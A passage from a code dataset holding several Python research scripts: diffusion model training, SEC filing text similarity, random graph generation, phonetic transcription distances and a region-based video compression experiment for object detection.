InterpolationMode.BILINEAR), #getattr(InterpolationMode, config['processing']['interpolation'])), # Smaller edge is resized to 256 preserving aspect ratio\n CenterCrop(config['processing']['resolution']), # Center crop to the desired squared resolution\n #RandomHorizontalFlip(), # Horizontal flip may not be a good idea if we want generation only one laterality\n ToFloat32Tensor(), # Convert to tensor (0, 1)\n Normalize(mean=[0.5], std=[0.5]), # Map to (-1, 1) as a way to make data more similar to a Gaussian distribution\n ]\n )\n #set the transform function to the dataset\n dataset.set_transform(preprocess)\n # Create the dataloader\n train_dataloader = torch.utils.data.DataLoader(\n dataset, batch_size=config['processing']['batch_size'], num_workers= config['processing']['num_workers'], shuffle=True\n )\n\n ### 2. Model definition\n model = UNet2DModel(\n sample_size=config['processing']['resolution'], # the target image resolution\n in_channels=config['model']['in_channels'], # the number of input channels, 3 for RGB images\n out_channels=config['model']['out_channels'], # the number of output channels\n layers_per_block=config['model']['layers_per_block'], # how many ResNet layers to use per UNet block\n block_out_channels=config['model']['block_out_channels'], # More channels -> more parameters\n down_block_types= config['model']['down_block_types'],\n up_block_types=config['model']['up_block_types'],\n )\n\n ### 3. Training\n num_epochs = config['training']['num_epochs']\n optimizer = torch.optim.AdamW(\n model.parameters(),\n lr= config['training']['optimizer']['learning_rate'], # learning rate of the optimizer\n betas= (config['training']['optimizer']['beta_1'], config['training']['optimizer']['beta_2']), # betas according to the AdamW paper\n weight_decay= config['training']['optimizer']['weight_decay'], # weight decay according to the AdamW paper\n eps= config['training']['optimizer']['eps'] # epsilon according to the AdamW paper\n )\n lr_scheduler = get_scheduler(\n name= config['training']['lr_scheduler']['name'], # name of the scheduler\n optimizer= optimizer, # optimizer to use\n num_warmup_steps= config['training']['lr_scheduler']['num_warmup_steps'] * config['training']['gradient_accumulation']['steps'],\n num_training_steps= (len(train_dataloader) * num_epochs), #* config['training']['gradient_accumulation']['steps']?\n )\n noise_scheduler = DDPMScheduler(\n num_train_timesteps=config['training']['noise_scheduler']['num_train_timesteps'],\n beta_schedule=config['training']['noise_scheduler']['beta_schedule'],\n )\n \n # prepare with the accelerator\n model, optimizer, train_dataloader, lr_scheduler = accelerator.prepare(\n model, optimizer, train_dataloader, lr_scheduler\n )\n # init tracker (wand or TB)\n if accelerator.is_main_process:\n run = os.path.split(__file__)[-1].split(\".\")[0] # get the name of the script\n accelerator.init_trackers(project_name=run) # intialize a run for all trackers\n wandb.save(str(config_path)) if config['logging']['logger_name'] == 'wandb' else None # save the config file in the wandb run\n # global trackers\n total_batch_size = config['processing']['batch_size'] * accelerator.num_processes * config['training']['gradient_accumulation']['steps'] # considering accumulated and distributed training\n num_update_steps_per_epoch = math.ceil(len(train_dataloader) / config['training']['gradient_accumulation']['steps']) # take into account the gradient accumulation (divide)\n max_train_steps = num_epochs * num_update_steps_per_epoch # total number of training steps\n\n logger.info('The training is starting...\\n')\n logger.info(f'The number of examples is: {len(dataset)}\\n')\n logger.info(f'The number of epochs is: {num_epochs}\\n')\n logger.info(f'The number of batches is: {len(train_dataloader)}\\n')\n logger.info(f'The batch size is: {config[\"processing\"][\"batch_size\"]}\\n')\n logger.info(f'The number of update steps per epoch is: {num_update_steps_per_epoch}\\n')\n logger.info(f'The gradient accumulation steps is: {config[\"training\"][\"gradient_accumulation\"][\"steps\"]}\\n')\n logger.info(f'The total batch size (accumulated, multiprocess) is: {total_batch_size}\\n')\n logger.info(f'Total optimization steps: {max_train_steps}\\n')\n \n # global variables (mainly useful for checkpointing)\n global_step = 0\n\n #### Training loop\n # Loop over the epochs\n for epoch in range(num_epochs):\n model.train()\n train_loss = [] # accumulated loss list\n pbar = tqdm(total=num_update_steps_per_epoch)\n pbar.set_description(f\"Epoch {epoch}\")\n for batch in train_dataloader: # Loop over the batches\n with accelerator.accumulate(model):\n noise = torch.randn_like(batch) # Sample noise to add to the images and also send it to device(2nd thing in device)\n bs = batch.shape[0]\n # Sample a random timestep for each image\n timesteps = torch.randint( #create bs random integers from init=0 to end=timesteps, and send them to device (3rd thing in device)\n low= 0,\n high= noise_scheduler.num_train_timesteps,\n size= (bs,),\n device=batch.device ,\n ).long() #int64\n # Forward diffusion process: add noise to the clean images according to the noise magnitude at each timestep\n noisy_images = noise_scheduler.add_noise(batch, noise, timesteps)\n # Get the model prediction, #### This part changes according to the prediction type (e.g. epsilon, sample, etc.)\n noise_pred = model(noisy_images, timesteps).sample # sample tensor\n # Calculate the loss\n loss = F.mse_loss(noise_pred.float(), noise.float())\n # Gather the losses across all processes for logging (if we use distributed training).\n avg_loss = accelerator.gather(loss.repeat(config['processing']['batch_size'])).mean()\n # append the loss to the train loss\n train_loss.append(avg_loss.item())\n \n # Backpropagate the loss\n accelerator.backward(loss) #loss is used as a gradient, coming from the accumulation of the gradients of the loss function\n if accelerator.sync_gradients: # gradient clipping\n accelerator.clip_grad_norm_(model.parameters(), config['training']['gradient_clip']['max_norm'])\n # Update\n optimizer.step()\n lr_scheduler.step()\n optimizer.zero_grad()\n \n # updates and checkpoint saving happens only if the gradients are synced\n if accelerator.sync_gradients:\n # Update the progress bar\n pbar.update(1)\n global_step += 1\n # take the mean of the accumulated loss\n train_loss = np.mean(train_loss)\n accelerator.log({\"loss\": train_loss, \"log-loss\": np.log(train_loss)}, step=global_step) #accumulated loss\n train_loss = [] # reset the train for next accumulation\n # Save the checkpoint\n if global_step % config['saving']['local']['checkpoint_frequency'] == 0: # if saving time\n if accelerator.is_main_process: # only if in main process\n save_path = pipeline_dir / f\"checkpoint-{global_step}\" # create the path\n accelerator.save_state(save_path) # save the state\n logger.info(f\"Saving checkpoint to {save_path}\") # let the user know\n # step logging\n logs = {\"step_loss\": loss.detach().item(), \"lr\": lr_scheduler.get_last_lr()[0]}\n accelerator.log(values=logs, step=global_step)\n pbar.set_postfix(**logs)\n # Close the progress bar at the end of the epoch\n pbar.close()\n accelerator.wait_for_everyone() # wait for all processes to finish before saving the model\n\n ##### 4. Saving the model and visual samples\n # generate visual samples to track training performance and save when in saving epoch\n if accelerator.is_main_process:\n if epoch % config['logging']['images']['freq_epochs'] == 0 or epoch == num_epochs - 1: # if in saving epoch or last one\n # unwrape the model\n model = accelerator.unwrap_model(model)\n # create pipeline\n pipeline = DDPMPipeline(unet=model, scheduler=noise_scheduler)\n # create generator to make generation deterministic\n generator = torch.Generator(device=pipeline.device).manual_seed(0)\n # generate images\n images = pipeline(\n batch_size=config['logging']['images']['batch_size'],\n generator=generator,\n output_type='numpy' # output as numpy array\n ).images # get the numpy images\n if config['logging']['logger_name'] == 'tensorboard':\n accelerator.get_tracker('tensorboard').add_images(\n \"test_samples\", images.transpose(0, 3, 1, 2), epoch\n )\n elif config['logging']['logger_name'] == 'wandb':\n accelerator.get_tracker('wandb').log(\n {\"test_samples\": [wandb.Image(image) for image in images], \"epoch\": epoch},\n step=global_step,\n )\n # save model\n if epoch % config['saving']['local']['saving_frequency'] == 0 or epoch == num_epochs - 1: # if in saving epoch or last one\n pipeline.save_pretrained(str(pipeline_dir))\n logger.info(f\"Saving model to {pipeline_dir}\")\n \n logger.info(\"Finished training!\\n\")\n # stop tracking\n accelerator.end_training()\n\n############################################################################################################\n\nif __name__ == \"__main__\":\n main()","repo_name":"Likalto4/diffusion-models_master","sub_path":"experiments/unconditional_64/training_acc.py","file_name":"training_acc.py","file_ext":"py","file_size_in_byte":13822,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"1179413218","text":"import os\nimport pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport multiprocessing\nimport csv\n\npd.set_option('display.max_columns', 10)\npd.options.display.width = 0\n\nSTARTING_YEAR = 2006\n# STARTING_YEAR = 1993\nSTARTING_QUARTER = 1\nENDING_YEAR = 2010\n# ENDING_YEAR = 2018\nENDING_QUARTER = 4\nPATH_TO_EXTRACTED = '../../Old/Analysis/Extracted/Quarterly'\nOUTPUT_DIRECTORY = 'test.csv'\n\n\ndef get_quarter_mda(desired_year, desired_quarter, path_to_extracted):\n _, _, file_names = next(os.walk(path_to_extracted))\n for file_name in file_names:\n if (f'QTR{desired_quarter}'in file_name) and (str(desired_year) in file_name):\n return pd.read_csv(f'{path_to_extracted}\\\\{file_name}', header=None, names=['path', 'date', 'cik', 'mda'])\n\n\ndef compute_similarity(document1, document2):\n vectorizer = TfidfVectorizer()\n vectorizer.fit([document1, document2])\n return cosine_similarity(vectorizer.transform([document1]), vectorizer.transform([document2]))[0][0]\n\n\ndef mp_worker(args):\n document1 = args[0]\n document2 = args[1]\n cik = args[2]\n date = args[3]\n\n similarity = compute_similarity(document1, document2)\n\n return similarity, cik, date\n\n\ndef mp_handler(current_mda, previous_mda, cik, date, n_pools, output_dir):\n p = multiprocessing.Pool(n_pools)\n args = list(zip(current_mda, previous_mda, cik, date))\n\n writer = csv.writer(open(output_dir, 'a', newline=''))\n counter = 0\n for result in p.imap(mp_worker, args):\n counter += 1\n print(f'\\rPercentage Complete: {round((counter / len(args)) * 100, 2)}%', end=\"\", flush=True)\n writer.writerow([result[0], result[1], result[2]])\n print('\\n')\n\n\nif __name__ == \"__main__\":\n for year in range(STARTING_YEAR, ENDING_YEAR + 1):\n\n for quarter in range(1, 4 + 1):\n if (year == STARTING_YEAR) and ((quarter == 1) or (quarter == 2)):\n continue\n\n df_one = get_quarter_mda(year, [1, 2, 3, 4][quarter - 2], PATH_TO_EXTRACTED)[['cik', 'mda']]\n df_one = df_one.set_index('cik')\n\n df_two = get_quarter_mda(year, [1, 2, 3, 4][quarter - 3], PATH_TO_EXTRACTED)[['cik', 'mda']]\n df_two = df_two.rename(columns={'mda': 'mda_two'})\n df_two = df_two.set_index('cik')\n\n df_current = get_quarter_mda(year, quarter, PATH_TO_EXTRACTED)\n\n df_all = df_current.join(df_one, on='cik', how='left', lsuffix='_current', rsuffix='_one')\n df_all = df_all.join(df_two, on='cik', how='left')\n df_all['mda_previous'] = df_all['mda_one']\n # df_all.loc[df_all['mda_previous'].isnull(), 'mda_previous'] = df_all['mda_two']\n df_all['mda_previous'].fillna(df_all['mda_two'], inplace=True)\n\n df_all = df_all[(~df_all['mda_current'].isna()) & (~df_all['mda_previous'].isna())]\n\n\n current_mda = list(df_all['mda_current'])\n previous_mda = list(df_all['mda_previous'])\n dates = list(df_all['date'])\n ciks = list(df_all['cik'])\n\n print(f'Working on Quarter {quarter} of {year}')\n mp_handler(current_mda, previous_mda, ciks, dates, 1, OUTPUT_DIRECTORY)\n\n","repo_name":"jptree/SEC-Analytics","sub_path":"Cosine Similarity Analysis/SimilarityCreation/createStructure.py","file_name":"createStructure.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13016389612","text":"from networkx import nx\nimport sys\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"Number of nodes\")\n print(\"Number of edges\")\n exit(1)\n n = int(sys.argv[1])\n m = int(sys.argv[2])\n G = nx.gnm_random_graph(n, m)\n nn = [list(G.neighbors(x)) for x in G]\n for l in nn:\n for n in l:\n print(\"{} \".format(n), end='')\n print(\"\")\n","repo_name":"michalpawlowicz/Particle-Swarm-Optimization","sub_path":"scala/generators/random-graph.py","file_name":"random-graph.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71062747071","text":"import panphon.distance\nimport codecs\nimport sys\nimport re\n\ntz_path = \"/Volumes/timzee/\" if sys.platform == \"darwin\" else \"/home/timzee/\"\ntens_path = \"/Volumes/tensusers/timzee/\" if sys.platform == \"darwin\" else \"/vol/tensusers/timzee/\"\ngs_num = \"v2_gs40\"\n\nkaldi2ipa = {}\ncgn2ipa = {}\nwith codecs.open(tz_path + \"Docs/KALDI-CGN-IPA-WORD.txt\", \"r\", \"utf-8\") as f:\n for c, i in enumerate(f, 0):\n if c > 0:\n l = i.split(\",\")\n if l[0] not in kaldi2ipa:\n kaldi2ipa[l[0]] = l[2]\n if l[1] not in cgn2ipa:\n cgn2ipa[l[1]] = l[2]\n\nwith codecs.open(tz_path + \"clst-asr-fa/nnn_words.txt\", \"r\", \"utf-8\") as f:\n nnn_words = [i[:-1] for i in f]\n\ndst = panphon.distance.Distance()\n\nwith codecs.open(tens_path + \"grid_search/\" + gs_num + \"_aligned_dist.csv\", \"w\", \"utf-8\") as f:\n with codecs.open(tens_path + \"grid_search/\" + gs_num + \"_aligned.csv\", \"r\", \"utf-8\") as g:\n for l_num, l in enumerate(g, 1):\n print(l[:-1])\n line_l = l[:-1].split(\",\")\n if l_num == 1:\n ids = {i: n for n, i in enumerate(line_l, 0)}\n f.write(l[:-1] + \",cgn_ipa,kal_ipa,tran_dist,ends_in_en\\n\")\n else:\n cgn_tran = line_l[ids[\"cgn_tran\"]]\n kal_tran = line_l[ids[\"kal_tran\"]]\n word_ort = line_l[ids[\"word\"]]\n word_ort = re.sub(r'[.?!]', \"\", word_ort.lower())\n word_ort = re.sub(r'\\*.*', \"\", word_ort)\n if word_ort[-2:] in [\"en\", \"ën\"]:\n ends_in_en = \"FALSE\"\n for n in nnn_words:\n if re.search(r'.*{}$'.format(n), word_ort):\n ends_in_en = \"TRUE\"\n break\n else:\n ends_in_en = \"FALSE\"\n# if not re.search(r\"(SIL|SPN|\\[\\]|NA)\", cgn_tran) and not re.search(r\"(SIL|SPN|\\[\\]|NA)\", kal_tran):\n if not re.fullmatch(r\"(SIL|\\[SIL\\]|\\[SPN\\]|\\[\\]|NA)\", cgn_tran) and not re.fullmatch(r\"(SIL|\\[SIL\\]|\\[SPN\\]|\\[\\]|NA)\", kal_tran):\n cgn_ipa = \"\"\n for p in cgn_tran.split(\" \"):\n if p != \"[]\":\n cgn_ipa += cgn2ipa[p]\n kal_ipa = \"\"\n for p in kal_tran.split(\" \"):\n if p != \"[]\":\n kal_ipa += kaldi2ipa[p]\n tran_dist = str(dst.weighted_feature_edit_distance(cgn_ipa, kal_ipa))\n else:\n if cgn_tran in [\"SIL\", \"NA\", \"[SIL]\"] and kal_tran in [\"SIL\", \"NA\", \"[SIL]\"]:\n tran_dist = \"0.0\"\n cgn_ipa = \"NA\"\n kal_ipa = \"NA\"\n elif cgn_tran in [\"[SPN]\", \"[]\"] and kal_tran in [\"[SPN]\", \"[]\"]:\n tran_dist = \"0.0\"\n cgn_ipa = \"NA\"\n kal_ipa = \"NA\"\n elif cgn_tran in [\"SIL\", \"[SIL]\", \"NA\", \"[SPN]\", \"[]\"] and kal_tran not in [\"SIL\", \"[SIL]\", \"NA\", \"[SPN]\", \"[]\"]:\n cgn_ipa = \"NA\"\n kal_ipa = \"\"\n for p in kal_tran.split(\" \"):\n if p != \"[]\":\n kal_ipa += kaldi2ipa[p]\n tran_dist = str(len(kal_tran.split(\" \")) * 7)\n elif cgn_tran not in [\"SIL\", \"[SIL]\", \"NA\", \"[SPN]\", \"[]\"] and kal_tran in [\"SIL\", \"[SIL]\", \"NA\", \"[SPN]\", \"[]\"]:\n kal_ipa = \"NA\"\n cgn_ipa = \"\"\n for p in cgn_tran.split(\" \"):\n if p != \"[]\":\n cgn_ipa += cgn2ipa[p]\n tran_dist = str(len(cgn_tran.split(\" \")) * 7)\n else:\n cgn_ipa = \"NA\"\n kal_ipa = \"NA\"\n tran_dist = \"NA\"\n new_line_l = line_l + [cgn_ipa, kal_ipa, tran_dist, ends_in_en]\n f.write(\",\".join(new_line_l) + \"\\n\")\n","repo_name":"timjzee/dmc-scripts","sub_path":"gs_add_distance.py","file_name":"gs_add_distance.py","file_ext":"py","file_size_in_byte":4122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4852982219","text":"\"\"\"\n Compress the video through gradient-based optimization.\n\"\"\"\n\nimport argparse\nimport gc\nimport logging\nimport time\nfrom pathlib import Path\nimport pickle\nimport shutil\n\nimport coloredlogs\nimport enlighten\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport torch\nimport torch.nn.functional as F\nimport torchvision.transforms as T\nfrom detectron2.structures.boxes import pairwise_iou\nfrom PIL import Image\nfrom torch.utils.tensorboard import SummaryWriter\nfrom torchvision import io\n\nfrom dnn.dnn_factory import DNN_Factory\nfrom utils.bbox_utils import center_size\nfrom utils.loss_utils import focal_loss as get_loss\nfrom utils.mask_utils import *\nfrom utils.results_utils import read_ground_truth, read_results\nfrom utils.timer import Timer\nfrom utils.video_utils import get_qp_from_name, read_videos, write_video\nfrom utils.visualize_utils import visualize_heat_by_summarywriter\n\nfrom detectron2.structures.instances import Instances\nfrom detectron2.structures.boxes import Boxes\n\nfrom my_utils import *\n\n# construct applications\ndnn = \"FasterRCNN_ResNet50_FPN\"\n# dnn = \"COCO-Detection/faster_rcnn_R_101_FPN_3x.yaml\"\napp = DNN_Factory().get_model(dnn)\napp.cuda()\n\n# working_dir_path = \"/tank/qizheng/codec_project/accmpeg/\"\n# working_dir_path = \"/datamirror/qizhengz/codec_project/\"\nworking_dir_path = \"/tank/qizheng/codec_project/\"\n\n\ndef compress_dds(video_input, high_quality_qp, low_quality_qp, img_w = 1280, img_h = 720):\n\n # initialize\n logger = logging.getLogger(\"dds\")\n logger.addHandler(logging.FileHandler(\"dds.log\"))\n torch.set_default_tensor_type(torch.cuda.FloatTensor)\n if img_h % 16 == 0 and img_w % 16 == 0:\n tile_size = 16\n else:\n tile_size = 8\n conf = 0.7\n size_thres = 0.02\n\n # read the video frames (will use the largest video as ground truth)\n print(f\"Reading in video {video_input} for compression (DDS), hqp = {high_quality_qp}, lqp = {low_quality_qp}\")\n\n if not os.path.exists(working_dir_path + f\"{video_input}_qp{low_quality_qp}_local_codec/\"):\n encode_video(working_dir_path + f\"{video_input}\", \\\n working_dir_path + f\"{video_input}_qp{low_quality_qp}_local_codec.mp4\", \\\n low_quality_qp)\n decode_video(working_dir_path + f\"{video_input}_qp{low_quality_qp}_local_codec.mp4\", \\\n working_dir_path + f\"{video_input}_qp{low_quality_qp}_local_codec/\")\n\n # dds_low_quality_frames = Video_Dataset(working_dir_path + f\"{video_input}_qp{low_quality_qp}_local_codec/\")\n # # dds_high_quality_frames = Video_Dataset(working_dir_path + f\"{video_input}_qp{high_quality_qp}_local_codec/\")\n # dds_original_frames = Video_Dataset(working_dir_path + f\"{video_input}/\")\n\n dds_original_frame = get_image(working_dir_path + f\"{video_input}/\").unsqueeze(0)\n dds_low_quality_frame = get_image(working_dir_path + f\"{video_input}_qp{low_quality_qp}_local_codec/\").unsqueeze(0)\n\n # construct the mask\n mask_shape = [\n 1,\n 1,\n img_h // tile_size,\n img_w // tile_size,\n ]\n mask = torch.ones(mask_shape).float()\n\n # if fid % 100 == 0:\n # print(f\"Processing frame {fid}\")\n\n mask_slice = mask[0:1, :, :, :]\n\n # dds_original_frame = dds_original_frames[fid]['image'].unsqueeze(0)\n # dds_low_quality_frame = dds_low_quality_frames[fid]['image'].unsqueeze(0)\n # dds_high_quality_frame = dds_high_quality_frames[fid]['image'].unsqueeze(0)\n\n # first iteration\n lq_inference = app.inference(dds_low_quality_frame.cuda(), detach=True)\n # lq_inference = app.filter_result(lq_inference, None, gt=False, confidence_check=False)\n lq_inference = app.filter_results(detach_result(lq_inference)[0], 0.5) # ???\n\n proposals = app.region_proposal(dds_low_quality_frame.cuda())\n # proposal_boxes\n # objectness_logits\n proposals = proposals[proposals.objectness_logits > conf]\n proposals = proposals[\n proposals.proposal_boxes.area() < size_thres * img_w * img_h\n ]\n\n # filter out regions that overlaps with inference results\n iou = pairwise_iou(proposals.proposal_boxes, Boxes(lq_inference[2]))\n iou = iou > 0.3\n iou = iou.sum(dim=1)\n proposals = proposals[iou == 0]\n regions = center_size(proposals.proposal_boxes.tensor).cpu()\n\n # second iteration\n maskB = generate_mask_from_regions(\n mask_slice.cuda(), regions, 0, tile_size, cuda=True\n )\n mask_delta = maskB\n mask_delta[mask_delta < 0] = 0\n mask_slice[:, :, :, :] = mask_delta\n\n # mask\n mask.requires_grad = False\n mask_tiled = tile_mask(mask, tile_size)[0][0].unsqueeze(0).unsqueeze(0)\n\n # save mask\n with open(f\"masks/{video_input}_dds_per_frame_{high_quality_qp}_{low_quality_qp}.pt\", \"wb\") as f:\n pickle.dump(mask_tiled, f)\n\n # encode high-quality regions\n dds_high_quality_region = dds_original_frame.cpu() * mask_tiled.cpu()\n save_and_encode(dds_high_quality_region[0], working_dir_path + video_input, f\"dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}\", high_quality_qp)\n\n # encode low-quality background\n # dds_low_quality_region = dds_original_frame.cpu() * (torch.ones_like(mask_tiled) - mask_tiled).cpu()\n save_and_encode(dds_low_quality_frame[0], working_dir_path + video_input, f\"dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}\", low_quality_qp)\n\n # encoding for smoothing (no need now)\n # mask_tiled_reuse = None\n # with open(f\"masks/videos/trafficcam_2_{int((frame_idx - 1) // 10 * 10 + 1)}_dds_per_frame_{high_quality_qp}_{low_quality_qp}.pt\", \"rb\") as f:\n # mask_tiled_reuse = pickle.load(f)\n\n # dds_high_quality_region_smooth = dds_original_frame.cpu() * mask_tiled_reuse.cpu()\n # save_and_encode(dds_high_quality_region_smooth[0], video_input, f\"dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}_smooth\", high_quality_qp)\n\n # dds_low_quality_region_smooth = dds_original_frame.cpu() * (torch.ones_like(mask_tiled_reuse) - mask_tiled_reuse).cpu()\n # save_and_encode(dds_low_quality_region_smooth[0], video_input, f\"dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}_smooth\", low_quality_qp)\n\n\ndef my_inference(video_input, high_quality_qp, low_quality_qp, stats_file_name):\n \n # read in the encoded video as Dataset objects\n print(f\"Reading in video {video_input} for inference\")\n # gt_frames = Video_Dataset(working_dir_path + f\"{video_input}/\")\n video_slice_gt = get_image(working_dir_path + f\"{video_input}/\").unsqueeze(0)\n\n # non-smoothing\n decode_video(working_dir_path + f\"{video_input}_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}.mp4\",\n working_dir_path + f\"{video_input}_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}_decoded\",)\n # dds_high_quality_frames = Video_Dataset(working_dir_path + f\"{video_input}_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}_decoded/\")\n dds_high_quality_frame = get_image(working_dir_path + f\"{video_input}_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}_decoded/\").unsqueeze(0)\n\n decode_video(working_dir_path + f\"{video_input}_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}.mp4\",\n working_dir_path + f\"{video_input}_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}_decoded\",)\n # dds_low_quality_frames = Video_Dataset(working_dir_path + f\"{video_input}_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}_decoded/\")\n dds_low_quality_frame = get_image(working_dir_path + f\"{video_input}_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}_decoded/\").unsqueeze(0)\n\n with open(f\"masks/{video_input}_dds_per_frame_{high_quality_qp}_{low_quality_qp}.pt\", \"rb\") as f:\n mask = pickle.load(f)\n \n # smoothing (no need now)\n # decode_video(video_input + f\"_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}_smooth.mp4\",\n # video_input + f\"_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}_smooth_decoded\",)\n # dds_high_quality_frames_smooth = Video_Dataset(f\"{video_input}\" + f\"_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}_smooth_decoded/\")\n \n # decode_video(video_input + f\"_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}_smooth.mp4\",\n # video_input + f\"_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}_smooth_decoded\",)\n # dds_low_quality_frames_smooth = Video_Dataset(f\"{video_input}\" + f\"_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}_smooth_decoded/\")\n\n # with open(f\"masks/videos/trafficcam_2_{int((frame_idx - 1) // 10 * 10 + 1)}_dds_per_frame_{high_quality_qp}_{low_quality_qp}.pt\", \"rb\") as f:\n # mask_reuse = pickle.load(f)\n\n loss_dds, loss_dds_smooth = 0, 0\n\n # process the video frame by frame\n\n # if fid % 100 == 0:\n # print(f\"Processing frame {fid}\")\n\n # compute gt result and qp 40 result for this frame\n # video_slice_gt = gt_frames[fid]['image'].unsqueeze(0)\n gt_result = infer(video_slice_gt, app)\n\n # non-smoothing\n # dds_high_quality_frame = dds_high_quality_frames[fid]['image'].unsqueeze(0)\n # dds_low_quality_frame = dds_low_quality_frames[fid]['image'].unsqueeze(0)\n dds_hybrid_frame = dds_high_quality_frame.cpu() * mask.cpu() + \\\n dds_low_quality_frame.cpu() * (torch.ones_like(mask) - mask).cpu()\n dds_hybrid_frame.require_grad = True\n result_dds_hybrid_frame = app.inference(dds_hybrid_frame.cuda(), nograd=False)\n result_dds_hybrid_frame = detach_result(result_dds_hybrid_frame)\n loss_dds_hybrid_frame, _ = compute_loss(result_dds_hybrid_frame, gt_result)\n loss_dds += abs(loss_dds_hybrid_frame)\n\n # smoothing (no need now)\n # dds_high_quality_frame_smooth = dds_high_quality_frames_smooth[fid]['image'].unsqueeze(0)\n # dds_low_quality_frame_smooth = dds_low_quality_frames_smooth[fid]['image'].unsqueeze(0)\n # dds_hybrid_frame_smooth = dds_high_quality_frame_smooth.cpu() * mask_reuse.cpu() + \\\n # dds_low_quality_frame_smooth.cpu() * (torch.ones_like(mask_reuse) - mask_reuse).cpu()\n # dds_hybrid_frame_smooth.require_grad = True\n # result_dds_hybrid_frame_smooth = app.inference(dds_hybrid_frame_smooth.cuda(), nograd=False)\n # result_dds_hybrid_frame_smooth = detach_result(result_dds_hybrid_frame_smooth)\n # loss_dds_hybrid_frame_smooth, _ = compute_loss(result_dds_hybrid_frame_smooth, gt_result)\n # loss_dds_smooth += abs(loss_dds_hybrid_frame_smooth)\n\n # compute average loss per frame\n # loss_dds /= len(gt_frames)\n # loss_dds_smooth /= len(gt_frames)\n\n # get file sizes\n dds_high_quality_frames_fs = os.path.getsize(working_dir_path + f\"{video_input}_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}.mp4\")\n dds_low_quality_frames_fs = os.path.getsize(working_dir_path + f\"{video_input}_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}.mp4\")\n dds_fs = dds_high_quality_frames_fs + dds_low_quality_frames_fs\n\n # dds_high_quality_frames_fs_smooth = os.path.getsize(f\"{video_input}\" + f\"_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}_smooth.mp4\")\n # dds_low_quality_frames_fs_smooth = os.path.getsize(f\"{video_input}\" + f\"_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}_smooth.mp4\")\n # dds_fs_smooth = dds_high_quality_frames_fs_smooth + dds_low_quality_frames_fs_smooth\n\n # with open(f\"stats_files/tradeoff_files/tf2_1800_frames_dds_per_frame_es\", \"a+\") as f:\n # if not isinstance(loss_dds, float) and not isinstance(loss_dds_smooth, float):\n # f.write(f\"{video_input},{fid},{high_quality_qp},{low_quality_qp},{abs(loss_dds).item()},{dds_fs},{abs(loss_dds_smooth).item()},{dds_fs_smooth}\\n\")\n # elif not isinstance(loss_dds_smooth, float):\n # f.write(f\"{video_input},{fid},{high_quality_qp},{low_quality_qp},{abs(loss_dds)},{dds_fs},{abs(loss_dds_smooth).item()},{dds_fs_smooth}\\n\")\n # else:\n # f.write(f\"{video_input},{fid},{high_quality_qp},{low_quality_qp},{abs(loss_dds)},{dds_fs},{abs(loss_dds_smooth)},{dds_fs_smooth}\\n\")\n\n # with open(f\"stats_files/tradeoff_files/tf2_first_300_frames_dds_per_frame_1101\", \"a+\") as f:\n with open(stats_file_name, \"a+\") as f:\n if not isinstance(loss_dds, float):\n f.write(f\"{video_input},0,{high_quality_qp},{low_quality_qp},{abs(loss_dds).item()},{dds_fs}\\n\")\n else:\n f.write(f\"{video_input},0,{high_quality_qp},{low_quality_qp},{abs(loss_dds)},{dds_fs}\\n\")\n\n # cleaning for saving disk space (optional)\n if os.path.exists(working_dir_path + f\"{video_input}_qp{low_quality_qp}_local_codec.mp4\"):\n os.remove(working_dir_path + f\"{video_input}_qp{low_quality_qp}_local_codec.mp4\")\n # shutil.rmtree(working_dir_path + f\"{video_input}_qp{low_quality_qp}_local_codec/\")\n\n os.remove(f\"masks/{video_input}_dds_per_frame_{high_quality_qp}_{low_quality_qp}.pt\")\n os.remove(working_dir_path + f\"{video_input}_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}.mp4\")\n os.remove(working_dir_path + f\"{video_input}_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}.mp4\")\n shutil.rmtree(working_dir_path + f\"{video_input}_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}_decoded/\", ignore_errors=True)\n shutil.rmtree(working_dir_path + f\"{video_input}_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}_decoded/\", ignore_errors=True)\n shutil.rmtree(working_dir_path + f\"{video_input}_dds_per_frame_hq_{high_quality_qp}_{low_quality_qp}/\")\n shutil.rmtree(working_dir_path + f\"{video_input}_dds_per_frame_lq_{high_quality_qp}_{low_quality_qp}/\")\n\n\n##### main function\n# video_list = [f\"videos/trafficcam_2_{i}\" for i in range(1,1801,10)]\n# video_list = [f\"videos/trafficcam_2_{i}\" for i in [331]]\n# vid_names = [\"videos/tf1\"] * 300 + [\"videos/tf2\"] * 300 + [\"videos/tf3\"] * 300 + [\"videos/tf4\"] * 300 + [\"videos/tf5\"] * 300\n# vid_names = [\"videos/tf4\"] * 300 + 